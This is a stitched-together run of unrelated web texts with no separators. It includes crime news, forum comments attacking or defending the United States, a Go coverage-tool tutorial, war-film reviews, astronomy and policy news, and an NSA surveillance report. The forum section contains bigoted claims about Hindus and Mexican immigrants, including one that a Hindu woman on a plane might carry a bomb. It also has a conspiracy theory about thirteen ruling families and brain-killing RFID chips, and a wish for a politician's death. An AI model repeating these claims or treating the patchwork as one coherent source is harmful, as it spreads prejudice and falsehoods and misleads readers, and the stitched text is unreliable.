Ramsey declined to make a statement to investigators after his arrest.
He has a lengthy criminal history and is awaiting trial for possessing a firearm as a felon.
His convictions include possessing a pistol without a permit, fifth-degree drug possession and six convictions for domestic assault.
There was no attorney listed for him in court records.
He is expected to make his first court appearance Wednesday.Racism This is bad, but racism is everywhere. The dude who wrote this article isn't probably American, that's for sure. This thing ticks me off. Why does everyone think the U.S. is so bad? The dude who wrote this article is the bad one. He probably wrote this article to be a negative, mean person. I've never met one so horribly, thuggish person where I live. I live in Texas. This is so horrible, when people like this should stop spending their time degrading countries. If he isn't American, then he probably wrote this list to make him feel better about his country. Sure, their are some bad things going on right now, but you don't dwell on it. You try to fix it. Plus, the U.S. isn't horrible at all. Take a look at Iraq and Iran and North Korea, for instance. Geez, I'm 13 years old for God's sake, and am I the only one who's positive here? A lot of people on here are probably older, and don't mind being negative, because they already have spent time on this planet. So, try to fix the States,...more Iraq, Iran, and North Korea are the way they are largely because of US intervention... I am an American and I am ashamed to live in this country. There is so much ridicule over things that we have no control over. We cannot decide the color of a person's skin, so why does everyone feel the need to discriminate? Everyone on this earth is equal. Just because you're white, doesn't mean you're better than anyone else, and just because you're black, doesn't mean you're worth less than anyone else. Things that have happened in the past are still affecting this world and it's not in a positive way. We should be using our history and learning from it not continuing to wrongfully discriminate against our own people. I can't believe that in 2016 we are still fighting this fight. Sure, things have gotten better from where they started, but come on, what is the point in all of this? Each person on this planet has a life just as complicated as your own. Everyone has their own problems to deal with. This is a problem that could so easily be put to rest, but there are ignorant people...more Another problem with America is the belief that blacks and women are oppressed. The worst thing in America to be is a straight white male. - JakePlaid If we looked past each other's skin and cultural background, we probably accomplish more as a unified front. But all the bottom of the totem pole people, in each race, are too busy being stupid and getting airtime for it, which makes us all look bad. Plus we're so caught up in stereotypes, myself included, that we don't take the time to give people a chance. We just judge them an move on. It's sad really because we're better than what we are portrayed to be and have so much untapped potential. People sould not hate it's not good for your health V 91 Comments
Donald Trump Donald John Trump (born June 14, 1946) is an American businessman, television personality, politician, and the 45th President of the United States. Born and raised in Queens, New York City, Trump received an economics degree from the Wharton School of the University of Pennsylvania in 1968. In 1971,...read more. Donald Trump represents everything the rest of the world hates about America, and honestly, he is a disgrace to the Republican Party. I seriously can't believe he's made is so far in the elections. Oh god. Don't get me started. I guess one obvious point is his superior attitude. He pretty much stands for everything that I hate about America. (I'm an American, and I hate America. What does that say about me? ) Also, there's that time he got attacked by the American Eagle he was trying to do a photoshoot with. If that's not a sign, I'm not sure what is. I don't know if Trump is a disgrace to the Republican Party. Since they can't seem to find a candidate to overtake him, I would say Trump IS the Republican Party. Now you have Jerry Falwell, Jr., endorsing him. How hypocritical is that? The head of a Bible college endorsing a three-time divorced man. In the Bible, divorce is forbidden seven times more often than gay marriage. I hope he jumps off a cliff V 120 Comments
Violence We've been waging illegal wars on countries since 1950. Do you think it's time we stopped? Drone strikes, bombings, the killing of innocent people in other countries who never did ONE thing to harm the United States? It's wrong! I'm sick and tired of this country being at war for sticking its nose in other people's business. America is a danger and threat to every country on this planet. Mexican is not a language and neither is Hindu you brain-dead American, get off this site can't you tell where you aren't wanted? Stupid US. You're absolutely insane if you think that the rest of the world is the problem when the only reason the rest of the world is underdeveloped is because the US has constantly interfered and started unnecessary wars that created more wars that never solved anything. If you new a damn thing about economics and you weren't just a stupid, babbling racist like all US citizens you would realize that immigrants (even illegal ones) actually improve the economy and open more jobs for well-educated people and Anglophones. Shut up and go back to crying about your nonexistent problems. Has everyone gone nuts.
Almost all the gas stations, Midi Marts,Hotels,Motels and a lot of other businesses are run by Hindus. Almost all our jobs in the United States are being taken over my Mexican Illegals and they don't pay into Social Security or taxes and nothing is being done about it. They are going to give Welfare and free hospital care and free Social Security to all illegal Aliens. You make a call on a Cell phone and you end up talking to a Hindu that can not talk English. They are making it a standard procedure for all children to learn Mexican. How long will it be before our children have to learn Hindu. Anyone coming into this country is suppose to understand our language and speak it. Hindu woman can not be searched at Airports. Are you kidding me. What do we have security Checks for at airports? I would never get on a plane if it has a Hindu woman on board. She could be carrying a bomb for Terrorist's. Please do not tell me that it is not possible. We had...more USA? I think you mean the Middle East V 22 Comments
They Think They Are the Only Country On the Planet This is an answer to all of these. The US does not think they own the planet. But for some reason THE US GOVERNMENT thinks they should have to take care of the planet. I do think our government sticks their nose in places it does not belong in the name of national security. Sure it should have been other countries going into Iraq and fighting a war. The American people did not want our troops to be in Iraq dying for nothing. A lot of the people in those Muslim countries were saying the US was there for the oil. Well the US did not take the oil which in my opinion after spending over 4 trillion dollars fighting in Iraq and Afgan they should have kept southern Iraq till they got the money back. And if it was up to me I would bring my eleven aircraft carriers and their battle groups and put 5 along the east coast staggerd from 500 to a 1000 miles off the coast and put one in the gulf of mexico. Then put 5 carriers in the pacific and I would protect the US and lock down the borders and...more Actually, the US government often gets involved in other nations for business and financial interests, often under the expanded guise of "national security" - Billyv I am an American. I do WANT to be the greatest country in the world, but that does not mean I think we are. We used to be when we stuck to our values and when we were a true democracy ruled by the people, but we have strayed from those which has caused us to decline. Most true Americans do not want to rule the world, they want to be free, and for other people to be free with them. Many people believe all Americans are stuck up, but we just love our country to where we will defend it against almost anything anyone says about it. And we do care about other countries and that is why the U.S. Government is everywhere in the world. I will say that sometimes the leaders and sometimes the people overstep the boundaries, but we do it with good intentions. America is the second most giving country second only to Myanmar for the first year. Many people come to America to live the American Dream. Although some people may think that that means making a lot of money, for many people, including the...more Honestly. America is controlled by 13 families. Rothschild and Rockefeller are probably the most known ones. Rockefeller owns the music industries, music is everywhere. In movies, T.V. series, commercials etc. Rothschild owns all of the banks. Therefore they own all of the money in the world. Now one of them is gonna marry a Hilton, then some "accident" will happen to the Hiltons and they'll own all of the hotels.
In America, the government sits laughing at everybody else. That's because everything people think about is money. The world is so obsessed with money that they don't realise that the 13 families that control America will soon control everything else. Their goal is to eliminate 90% of the world's humans and control the 10% like slaves and they won't even know it. RFID chips will become more advanced, til they can finally kill you by sending signals to your brain. In some states, RFID chips is a MUST. Everybody who refuses to install them will be caged up like animals....more Last year, half my class didn't even know the UK was an island. - Pmacaroon V 46 Comments
Too Much Taxes for the Poor They tax the poor more and the rich less. I agree to much taxes for the poorer people. I live in the united states and it's just falling apart. I'm moving to England in a month. Way better country and the best place to live.. =) It does not make sense to tax the poor. We pay taxes for many reasons and the most noble reason is to lift up those less fortunate than ourselves. As an American, I just want to make certain we are helping the poor in an efficient and effective manner. So true! V 19 Comments
Lack of Respect I think the root of all the problems is Capitalism. Everyone is money hungry. The American way of life revolves around money. It's designed that way by the families who run the country. There is no democracy in the states, it's all a smoke screen. The leaders are already picked before hand. If it was a true democratic election you would have more than just two people in the final running. Why is it always just two parti es? d emocratic or republican? Capitalism is slavery, the rich get richer off the backs of the working class people. The people are struggling to get by and resort to desperation to put food on the table. People are thrown in jail and their voting rights taken away while the prison system profits from incarcerating the people. You need to take your country back from the hands of the corporations before they take all power away from the people. Start taking care of each other rather than fighting one another. Love your neighbor. Pay no attention to differences in race...more America was founded off of Capitalist free enterprise. Also more than two candidates run in presidential elections, they just don't get a lot of votes. - BrideiMacBella Uh, Ronluna, we are not trolls. Don't be such a jerk about it. I'm 13, and haven't been to too many places, but I know that I have met nothing but nice, considerate citizens. I'm an American, and me and my family donate to the poor all the time, we recycle, enjoy family nights, and have our neighbor community party nights, and we are not trolls. I respect every adult, as my parents have taught me. So, don't be so negative, and stop reading all these posts that say, "Oh, America sucks, blah blah blah. ", and go meet people and change your thoughts about Americans. Oh you won't get any respect in the U.S. just be black and have a opinion and get on child support what's so sad the black women are the worse toward their own and don't even realize it they have the most to say about white woman stealing their men when they treat their men like crap and kids or the new trend is for black girls dating white women and be proud about it but years ago when black men were dating white women they were sell outs but whats that make them? - mountainhawk Oh some 13 year old child from the USA. Make sure you don't shoot up your school that has a terrible education system. LOL. And yes there are a lot of trolls from the USA. Over 12 million children in the USA are obeise or overweight. That is like what 30% the population of Canada? V 25 Comments
Anti-government movements Make america great again and deport the leeches getting us dollars from doing subpar work and then spending the money on getting posters to demonize the government Amen - RevolverOcelot Like Antifatism
R&B |
ways, and to reach new supporters that they otherwise wouldn’t encounter. If you ignore all that real-world activity, then you can’t effectively measure whether the net impact of digital participation is positive or negative.
I’m not trying to trash the authors’ work. They’ve produced a nice experimental study. And they’ve packaged that study to attract media attention. “slacktivism” works in headlines a lot better than “public vs private tokens of engagement.” But the end result is that a lot of advocacy professionals are going to see the headline and think, “ah hah. Research has shown that Facebook is bad for giving. I knew it!” Something gets lost in translation when you start packaging research for media soundbites.
The solution to decreased digital participation isn’t to stop asking supporters to engage online; it’s to embrace a culture of testing that leads you to start asking them better.An important part of the process process of learning a new language is to learn the ecosystem that helps you to write better code. In a previous article I covered gdb integration with Go.
Next on my list is to find an equivalent of the fantastic Python coverage tool coverage.py. The Go equivalent is called gocov.
Let’s go ahead and install it now:
$ go get github.com/axw/gocov/gocov $ go install github.com/axw/gocov/gocov
The two steps above have compiled and installed a binary gocov progam in your $GOPATH/bin. I would recommend adding this to your $PATH :
export PATH=$PATH:$GOPATH/bin
Now we’re ready to start using gocov in conjunction with our test suite. Here’s an example of running the test suite via gocov, generating a coverage report, and then immediately viewing that report via the less command.
$ gocov test <myprogram> | gocov report | less </myprogram>
If you’ve worked with coverage tools before, the report should look familiar, with a breakdown of each function. Here’s a sample:
[...] dispatch/dispatch.go Dispatcher.String 100.00% (8/8) dispatch/dispatch.go NewDispatcher 100.00% (2/2) dispatch/dispatch.go Dispatcher.RefreshPlugins 100.00% (2/2) dispatch/dispatch.go Dispatcher.Dispatch 83.33% (5/6) [...]
It is also possible to annotate the source listing of a particular function:
$ gocov test <myprogram> > coverage.json $ gocov annotate coverage.json dispatch.Dispatcher.Dispatch 33 func (self *Dispatcher) Dispatch(l *line.Line) { 34 35 activePlugins := self.plugins[l.ChatBotId] 36 37 var err error 38 for _, plugin := range activePlugins { 39 err = self.queue.Publish(PUBSUB_PREFIX+plugin.Name, l.AsJson()) 40 if err!= nil { 41 MISS log.Fatal("Error writing (PUBLISH) to queue. ", err) 42 } 43 } 44 } </myprogram>
This tells us that line 41 isn’t tested.
gocov is a convenient tool that helps to guide you in writing tests for your program. Since it outputs to stdout you can use it in conjunction with grep, sort, less, etc.
[Edited – 2013-01-09]: Amended the article to reflect the feedback I got on reddit.com/r/golangPlease note the aluminum colored trim piece at the top of the side in the above images does not appear on the RV at the below images... or the 5 circles on the beltline next to the side door, and full length sidewindows on one, and the other has windows with about a foot of exterior paneling between the back corner of the rv and the back edge of the side window
The above one is in the Motorhome Recreational Vehicle and Motor Home Hall of Fame in Elkhart, Indiana
Found on https://www.facebook.com/HCCCmagazine I posted this years ago in a gallery of unusual things, but it seems to deserve a place of it's own.This one is in the California Automobile Museum in Sacramento permanent collection. It has been for at least 5-6 years. It is a hand built, one of a kind RV built by an Air Force officer with several engineering degrees.It is based on a 1971 Olds Toronado chassis and has OEM trim from Cadillac. The panels, glass and such was all hand fabricated. The drivers location feels very much like an aircraft cockpit. It was designed to fit in the mans garage and after he and his wife put over 100,000 miles on it touring the U.S.Thanks to Lou, who is a docent at the Cal Auto Museum in Sacramento, and told me that info!Growing up, Sunday afternoons were reserved by my Dad for movies featuring John Wayne or Henry Fonda going off to fight some battle. Fine pieces of American cinema showing stories from our past. One week it might be The Longest Day, the next week might be The Green Berets. The era changed, but the faces remained the same. More recently movies like Black Hawk Down and Saving Private Ryan have entered the rotation, adding some modern spice to the mix. But honestly, some of the greatest war movies of the last decade weren’t in English at all. As I sit here in my pajamas carrying on that tradition (watching My Darling Clementine this week, for those interested) I thought it might be fun to tell you about my four favorite foreign war films from the last decade.
We start not too far from familiar territory. The Korean war was one in which the United States not only armed our favored side but also actively participated. It was one of the first “proxy” wars with the Soviet Union, kicking off only a few years after the end of WWII. Tae Guk Gi: The Brotherhood of War (Wikipedia — IMFDB) is a film produced in South Korea in 2004 that follows the story of two brothers who were pressed into service defending their country against the Soviet backed North Koreans. The vast majority of the firearms are familiar to American moviegoers — the South Korean Army uniforms and firearms are 100% Made in the U.S.A., so much so that it almost looks like a WWII movie. The special effects are amazing, with some of the scenes rivaling Saving Private Ryan for the level of detail, realism and size.
In my opinion the best part about this movie isn’t the amazing action sequences, it’s the storyline.The United States hasn’t seen an occupying force on our soil since 1865, and given how quickly war has changed since then even those experiences are no longer sufficient to understand what the South Korean people felt when their countries were invaded. And while some of us still remember what the draft was like the circumstances were so drastically different from the South Korean conscription. Seeing how families were torn apart during that period and how homes were destroyed is what makes this movie one of my favorites.
The next film on my list is from mainland China, 2007. The same team that produced The Brotherhood of War (but with a new director) produced a film called Assembly (Wikipedia — IMFDB) based on events within the Chinese Civil War. It was the first movie on that subject produced in a “realistic style” due to the censorship of the Communist Party of prior films. Produced in mainland China the film can arguably be called Chinese propaganda, but the message of the film is one of honor and duty and doesn’t seem to take sides about the cause or ideas behind the Chinese Civil War, and focuses only on the soldiers and their humanity. Part of the movie takes place during the Korean War, with the main character fighting for the North Korean Army. It’s a nice counterpoint to The Brotherhood of War, which was from the South Korean perspective.
I like this movie mainly for the special effects, but there’s one scene that always sticks out at me. When the main character is in Korea and about to be discovered by a U.S. Army patrol a more experienced soldier advises him to simply end words with “da” and the Americans won’t know the difference. Funny, but true.
Number 3 on my list is a more modern film about a more modern war, one which we’ve recently taken over from the original owners. The 9th Company (Wikipedia — IMFDB) is a 2005 Russian film about a Soviet unit in Afghanistan. It follows them through training, the first days of deployment, and finally a famous battle on Hill 3234 where 39 soldiers defended their position against 200 heavily armed attackers. In the end almost every single soldier was either killed or wounded, but the hill was held.
This movie makes it into my favorites not only for the smokin’ hot Russian chick (she does help…) but for the sheer bad-assery of the Soviet soldiers. The photography in this movie is frankly amazing, in the same vein as Black Hawk Down with the warm colors and the high contrast.
The last film for today is easily my favorite. Released in 2010, The Brest Fortress (Wikipedia) is the story of how 7,000 Soviet soldiers held their ground against 17,000 well equipped Nazi troops longer than expected at a fortress in Poland starting on the opening day of Operation Barbarossa. The soldiers held out for eight days even as the Nazi army advanced beyond them, refusing to give up.
This is another movie that illustrates how insanely bad-ass Soviet soldiers are, but one set in a time period that I’m very, VERY familiar with. I know how those uniforms feel, how the tactics are supposed to work, and how much it sucks to reload a Mosin Nagant under pressure. Watching the movie I could feel and smell and taste every moment, and that’s what brought it alive for me and makes it my current favorite war film of all time.
Gotta go, Henry Fonda looks pissed. This is gunna get good…The back-and-forth between mainstream carriers and external mega-corps may finally be coming to an end, with the almighty FCC expected to make a pivotal determination regarding the use of white space in short order. For those unaware, white space refers to the freed spectrum that will become available when broadcasters move completely to digital TV next February, and there's been a heated debate between carriers (who typically "fear" unwanted interference by unlicensed use) and tech companies like Google who see this as a great opportunity to bring wireless services to rural areas (for instance). According to a new report from Reuters, the FCC is expected to weigh in at any moment, and it'll "likely" recommend the unlicensed use of the spectrum. The advice will be based on reports generated from years of data collection, but we're all stuck waiting in tense anticipation until it's released. Anytime now, FCC...
[Via phonescoop]Interpreting the 'Song' Of a Distant Black Hole
Three color Chandra Observation of Perseus Cluster Related Links: Black holes and X-rays
Astronomers in England have discovered a singing black hole in a distant cluster of galaxies. In the process of listening in, the team of astronomers not only heard the lowest sound waves from an object in the Universe ever detected by humans, but they've also discovered an important clue about the formation of galaxy clusters -- the largest structures in the cosmos.
Dr. Andrew Fabian and his colleagues at the Institute of Astronomy in Cambridge, England made their discovery using NASA's Chandra X-ray Observatory, an orbiting X-ray telescope that sees the Universe in X-ray light just as the Hubble Space Telescope sees it in visible light.
The black hole is situated in the center of a galaxy amid a group of thousands of galaxies collectively called the Perseus Cluster and located 250 million light years from Earth (meaning it took the light from these galaxies 250 million years to reach us). The sound waves coming from it are in the form of a single note, so rather than a song it is really a drone.
Sound waves in the Perseus Cluster
Using the piano keyboard's middle C note as a reference point for the middle of the piano key music range, Fabian's team determined the note is a B -flat. On a piano, the B-flat nearest middle C is located midway between 1/8th and 2/8th of an octave away. In musical terminology, this B flat is 1-1/2 steps from middle C.
The Perseus cluster black hole's B-flat, by contrast, is 57 octaves below middle C or one million, billion times lower than the lowest sound audible to the human ear! In terms of frequency (the time it takes a single sound wave to pass by), the lowest sounds a person can hear is 1/20th of a second. The Perseus black hole's sound waves have a frequency of 10 million years!
You may be wondering how a sound wave can travel through space. After all, sound waves require some sort of stuff to move through. This stuff, called a medium, can be air, water, or even solid rock. And space is thought of as lacking any medium because it is a vacuum.
In fact, space is not a pure vacuum but rather it contains stray bits of stuff -- gas atoms and dust of varying amounts. In the case of the Perseus cluster, the gas throughout it serves as the medium through which the sound waves coming from the central black hole travel.
Still image from animation of sound waves generated in perseus cluster + Click here for video
The sound waves were indirectly detected using the Chandra telescope because the cluster gas is very hot and thus emits an especially energetic form of light called X rays, as well as less energetic visible light. And the gas is so hot because of the effects of the black hole.
More than an acoustic curiosity, these sound waves transport energy that keeps gas throughout the cluster warmer than it would otherwise be. These warmer temperatures, in turn, regulate the rate of new star formation, and hence the evolution of galaxies and galaxy clusters. This makes the findings far more significant for understanding the astrophysical evolution of the Universe.
The Perseus sound waves are much more than just an interesting form of black hole acoustics, said Steve Allen, also of the Institute of Astronomy and co-investigator in the study. These sound waves may be the key in figuring out how galaxy clusters, the largest structures in the Universe, grow.
Astronomers will now analyze other galaxy clusters for similar sound waves.
NASA's Goddard Space Flight CenterPARIS — Joining US forces acting in Iraqi skies, France conducted its first airstrikes Friday against the militant Islamic State group, destroying a logistics depot that it controlled, Iraqi and French officials said.
Rafale fighter jets accompanied by support planes struck the depot in northern Iraq on Friday morning, and it was “entirely destroyed,” President Francois Hollande said. Iraq’s military spokesman said four morning airstrikes killed dozens of fighters.
“Other operations will follow in the coming days with the same goal — to weaken this terrorist organization and come to the aid of the Iraqi authorities,” Hollande said. “There are always risks in taking up a responsibility. I reduced the risks to a minimum.”
Qassim al-Moussawi, spokesman for the Iraqi military, said four French airstrikes hit the town of Zumar, killing dozens of extremist fighters. Zumar and surrounding towns are heavily contested by Islamic State fighters, even though Iraqi and Kurdish security forces have managed to make headway nearby with the support of US airstrikes.
With the strikes, France becomes the first foreign country to publicly add military muscle to United States airstrikes against the group, which has drawn criticism around the world and in a unanimous UN Security Council resolution for its barbarity. Hollande ruled out French troops on the ground.
The first French airstrikes in Iraq have added significance: France, one of America’s oldest allies, was among the most vocal critics of the decision of US President George W. Bush to conduct military action in 2003 that toppled Saddam Hussein.
Last year, France was ready to join possible US military action against President Bashar al-Assad’s force in Syria, before US President Barack Obama stopped short. French authorities in recent weeks have suggested that the inaction there has fostered the development of the militants.
The strikes come at a time when polls show Hollande is the most unpopular French president in decades — mainly for his handling of France’s economic difficulties. But he has drawn higher marks from the French public in the international arena, including by helping drive al Qaeda-linked militants from northern Mali last year and in the Central African Republic in recent months.
US Central Command said Thursday the US military has conducted 176 airstrikes in Iraq since Aug. 8. On Wednesday, it hit a militant training camp southeast of Mosul and an ammunition stockpile southeast of Baghdad. It has also conducted a number of strikes this week in Iraq’s Anbar province, near the strategic Haditha Dam.
The French airstrikes took place while US Gen. Martin Dempsey, chairman of the Joint Chiefs of Staff, was in France for meetings with his counterpart, Gen. Pierre de Villiers. The two men were visiting an American military cemetery in Normandy, on the English Channel, when the French strike took place.
Dempsey, who was told of the attack by de Villiers, praised the French action.
“The French were our very first ally and they are there again for us,” Dempsey told reporters traveling with him in Normandy. “It just reminds me why these relationships really matter.”
At a news conference a day earlier, Hollande said France had agreed to “soon” conduct airstrikes requested by Iraq to bolster its fight against the militants who have captured swaths of the country.
He stressed that France wouldn’t go beyond airstrikes in support of the Iraqi military or Kurdish Peshmerga forces, and wouldn’t attack targets in Syria, where the Islamic State has also captured territory.
French jets on Monday began flying reconnaissance missions over Iraq involving Rafales and an ATL2 surveillance plane, military spokesman Col. Gilles Jaron said.Sir Mix-A-Lot recorded a holiday song for the Washington State Lottery and it sounds about as crazy as you think the idea of Mix recording a promotional jingle would sound. In the song, titled “Happy Fa La La La Lottery,” Mix raps about all of the things he would do if he won the lottery while also promoting what the Washington State Lottery has to offer beside money such as 3,900 locations, long-term payments vs. the quick cash option, etc. Highlights include Mix wanting to buy a British accent, the city of Kent (yes, he rhymed the two), Lamborghinis, yachts, pet otters and lots of other extravagances that come with lottery winnings.
You can listen to the track above and click here to download your own copy and coming soon you’ll be able to create a holiday e-card so you can spread visions of holiday lottery winnings all over your contacts list.A Louisiana prisoner kidnapped and killed an assistant warden’s 18-year-old stepdaughter after he escaped from prison, PEOPLE confirms.
Deltra Henderson, 39, was later found dead following a shootout with law enforcement.
“It has been a terrible couple of days in Claiborne Parish,” Sheriff Ken Bailey tells PEOPLE. “This was a senseless killing. That is all this was. Senseless.”
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Bailey says Amanda Carney was at the home she shared with her parents — across from David Wade Correctional Center in Homer where some prison employees live — when Henderson, a prison trustee, abducted her Thursday afternoon.
“She lived on the compound and he was a trustee and he worked cleaning flower beds and mowing grass,” he says. “He was on the other side of the prison and they have trustees that go over there and work in the flower beds. He abducted her and got in her car and left.”
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“They are trustees and they gain trustee status from having good behavior,” adds Bailey. “I think they need to change the word because they can’t be trusted.”
Carney’s body was found about two and a half miles from the prison in an oil field underneath pine needles. She had been stabbed numerous times in her neck, according to Bailey.
• Want to keep up with the latest crime coverage? Click here to get breaking crime news, ongoing trial coverage and details of intriguing unsolved cases in the True Crime Newsletter.
Bailey says shortly after the abduction, Henderson crashed Carney’s car in nearby woods, abandoned the vehicle, and then returned to prison grounds and stole a car from Carney’s neighbor. The inmate then crashed the second car and entered a nearby trailer and found a gun. As prison guards closed in on him, Henderson fired at the guards and then barricaded himself inside the trailer.
“He fired the first shots because they were walking around, looking around trying to find him,” Bailey says. “He fired but didn’t hit them. And they went inside the trailer and engaged gunfire.”
Bailey says Henderson was fatally shot during the encounter.
Henderson, who had been incarcerated since 2001, was serving time on one count each of attempted armed robbery, aggravated burglary, and cocaine distribution.
He was due to be released on March 28, 2025.
Secretary James M. Le Blanc of Department of Public Safety and Corrections said it was a “dark day” for the prison.
“Our hearts hurt today as we grieve, and mourn the loss of one of our own,” he said in a statement obtained by PEOPLE. “Our thoughts and prayers are with the family of this young lady, David Wade staff, and all those affected by this tragedy.”
Carney had just graduated high school in the spring and had plans to go to college in Arkansas to study nursing in the fall.
“I was at the high school graduation and I saw her walk across the gym,” says Bailey. “She was athletic, a softball player, and she was a good all around kid.”
“It was wrong place at the wrong time,” he adds. “It is just tragic.”The control crime, the Andhra Pradesh Police on Saturday launched the DNA Index System (DIS), the first-of-its-kind initiative that allows generation of DNA profiles from live samples like saliva and blood stains within 90 to 120 minutes. This system uses the latest DNA technology tool developed by IntegenX, Inc., USA known as RapidHIT DNA System.
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AP Director General of Police N Samasiva Rao said that as part of the proactive policing, the Andhra Pradesh government launched the DNA Index System for the first time in India. “DNA profiling plays a crucial role in solving crimes and also has the potential to link a series of crimes by placing the suspects by linking them with the crime scene. It could also help the suspects prove their innocence,”he said.
To demonstrate the efficacy of the system by generating the DNA profiles, a pilot project was initiated involving the 1st batch of convicts and alleged suspects involved in various cases. The machine’s testing was initiated by Anand Gupta, Founder & CEO of IntegenX, Inc., USA,and Dr. Roy Swiger, former CSO, Florida Police Department.
Dr Kaza Purnachandra Gandhi, Founder of Truth Labs, and currently, Advisor to the Government of Andhra Pradesh on Forensics and Allied Police Support Services, said that the DNA Index System has vast potential to bring down crime. “First, we can create a huge database of DNA profiles of offenders. Second, with DNA in the database, repeat offenders will be easily and quickly caught which will bring down crime rate. Third, all over the country backlogs of cases are piling up. For instance, Delhi FSL has a backlog of 3 years. This system helps to test and create DNA profiles of seven persons within two hours. Profiles of thousands of prisoners for various offences will be fed into the database. After release from jail, if they commit any crime, the DNA test will reveal within two hours instead of several days. The system can help resolve missing persons cases with on the spot DNA testing,’’ Dr Gandhi said.
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Officials said that while DNA labs take up nearly 3,000 sq feet space, the DNA System machine occupies just 3 cubic feet space. Each machine costs Rs 2 to Rs 3 Crores. The AP Government which put the first machine to use today is likely to order more machines to installed in all district police headquarters. Chief Minister N Chandrababu Naidu who launched the first machine said his aim is to make Andhra Pradesh a crime free state in India through the usage of latest technology in forensic labs. He ordered for the introduction of this system immediately.Need to switch something on or off using a microcontroller? Using a transistor is one of the best ways to do this, but how exactly do you design properly for transistor switching? [Ben Krasnow] put together a tutorial in which he does an excellent job of explaining the ins and outs of designing transistor control circuits.
We’ve embedded his twenty-minute video after the break. In it he talks about the use of transistors, the difference between NPN and PNP transistors, and the design specifics you need to know when working with them. We think that beginners will find [Ben’s] demonstration of how to calculates Hfe, which is the base current necessary to fully switch the transistor. If this is gibberish to you, have no fear. [Ben’s] instruction is clear and easily understandable.
The one thing we missed in the video is clarification about base current protection for PNP transistors. [Ben] mentions that there’s no easy circuitry that can be used on the base of a PNP to regulate flow from the emitter to the base, but he doesn’t elaborate. Otherwise, it’s everything we could have wanted on the topic.So once again, the southern conservatives of the Senate have managed to all but gut another piece of legislation because — oh my God — it smacks of almost being moderate.
When has that ever happened? Other than every damn time in history.
Is there any group that has been more responsible for holding back progress, who has ever been more consistently wrong about everything in the history of the Republic than the "Southern Conservative"?
WRONG. ABOUT. EVERY. F***ING. THING. From holding back the economic development of the early nation, to slavery, to the Civil War, to Jim Crow, to Segregation, to the minimum wage, to maximum hours, to workplace safety, to workers compensation, to food safety, to child labor, to isolationism, to the FDIC, to Social Security, to the union movement, to Red Baiting, to woman’s suffrage, to anti-intellectualism, to workplace discrimination, to State’s Rights, to the Voting Rights Act, to equal pay, to religious fundamentalism, to loving guns more than life itself, to anti-Catholicism, to anti-Semitism, to Vietnam, to the War on Terror, to birth control, to not taxing while really spending, to homophobia, to clean water, to environmentalism, to making the rubble bounce on brown people, to supporting torture, to police abuse, to global warming, to outlawing precious and blessed foreplay between consenting adults, generation after generation, they’ve been the assholes of the nation.
I’m sure I forgot something, it’s a long list. It has gotten so bad that they are now ruining legislation they still don’t vote for.Story highlights U.S. official: "Surveillance capabilities, including with... foreign partners" under review
German leader: "True change is necessary" on part of the U.S.
U.S. isn't monitoring Merkel's communications, White House insists
France is angry about claims the NSA intercepted millions of phone calls in France
"Trust needs to be rebuilt."
That's what German Chancellor Angela Merkel firmly asserted early Friday -- as she had the previous day -- in the wake of reports the U.S. National Security Agency had eavesdropped on her cell phone.
This claim and others that she and other world leaders have been spied on had "severely shaken" relationships between Europe and the United States, the German leader said.
"Obviously, words will not be sufficient," Merkel said in the wee hours Friday at a summit of European Union leaders. "True change is necessary."
Talk of the NSA's reported spying on Germany and other allies dominated Merkel's news conference in Brussels, Belgium. It illustrated the anger over this story in Europe and the challenges facing Washington because of it.
The Chancellor insisted she isn't the only one concerned; other European leaders, she said, voiced similar sentiments during the first day of the summit Thursday.
Her comments echoed some she'd made upon arriving Thursday in Belgium, when she said that discussions of "what sort of data protection do we need and what transparency is there" should now be on European leaders' agenda.
"We need trust,..." she said. "Spying among friends is never acceptable."
JUST WATCHED Did NSA monitor Angela Merkel's phone? Replay More Videos... MUST WATCH Did NSA monitor Angela Merkel's phone? 02:47
JUST WATCHED Editor: Spying on a massive scale Replay More Videos... MUST WATCH Editor: Spying on a massive scale 06:16
JUST WATCHED France angry over US surveillance tactics Replay More Videos... MUST WATCH France angry over US surveillance tactics 02:44
U.S. President Barack Obama understands it's a "necessity" for change from his nation's perspective, according to Merkel, who spoke with the American leader on Wednesday after Germany's government said it had information the United States might have monitored her phone.
She told Obama that eavesdropping among friends is "never acceptable, no matter in what situation," she said.
On Thursday, White House spokesman Jay Carney repeated what he said Wednesday -- that Obama assured Merkel that the United States is not monitoring and will not monitor her communications.
And in a USA Today op-ed published online Thursday night, Obama's homeland security and counterterrorism adviser Lisa Monaco conceded that recent "disclosures have created significant challenges in our relationships." To address them, the President has ordered a "review (of) our surveillance capabilities, including with our foreign partners," she wrote.
"We want to ensure we are collecting information because we need it and not because we can," said Monaco.
The German allegation comes in the same week that French daily newspaper Le Monde reported claims the NSA intercepted more than 70 million phone calls in France over 30 days.
And The Guardian newspaper -- citing a document obtained from U.S. government contractor-turned-whistleblower Edward Snowden -- reported Thursday that the NSA monitored phone conversations of 35 world leaders. The confidential memo is from 2006, which is before Obama became president. None of the monitored world leaders is identified.
The phone numbers were among 200 handed over to the NSA by a U.S. official, the memo states. Others were encouraged to share their "rolodexes" with the agency, according to the document, even though tracking until then had yielded "little reportable intelligence."
Like Carney, NSA spokeswoman Caitlin Haden refused "to comment publicly on every specific intelligence activity."
"As we have made clear," she added, "... the United States gathers foreign intelligence of the type gathered by all nations."
European leaders push for data protection
It's not clear how well such explanations will be received by Washington's allies in Europe elsewhere, or how significantly it has and will continue to affect the European Council meeting.
The two-day summit was supposed to focus on the digital economy and economic and social policy issues, as well as concerns about EU migration after a recent shipwreck off an Italian island in which hundreds of migrants from Africa died.
But French Prime Minister Jean-Marc Ayrault told the French National Assembly on Tuesday that France would ask for the question of electronic surveillance to be added to the agenda.
The EU leaders were expected to discuss data protection issues as part of their debate on the digital economy.
Viviane Reding, vice president of the European Commission, called for EU nations to commit to adopting a data protection law in light of the recent spying scandals.
"Data protection must apply to everyone -- whether we are talking about citizens' e-mails or Angela Merkel's mobile phone," she said. "We now need big European rules to counter big fears of surveillance.
"At the summit today, Europe's heads of state and government must follow words with action: They should commit to adopting the EU Data Protection Reform by spring 2014. This would be Europe's declaration of independence. Only then can Europe credibly face the United States."
'Completely unacceptable'
Even before the latest allegations, Germany and other nations had expressed concerns about alleged U.S. spying after Snowden -- a former National Security Agency contractor -- leaked classified information about American surveillance programs.
German news magazine Der Spiegel reported in June that leaks from Snowden detailed how the agency bugged EU offices in Washington and New York, and conducted an "electronic eavesdropping operation" that tapped into an EU building in Brussels.
Merkel spoke with Obama by phone in July about allegations that the United States was conducting surveillance on its European allies.
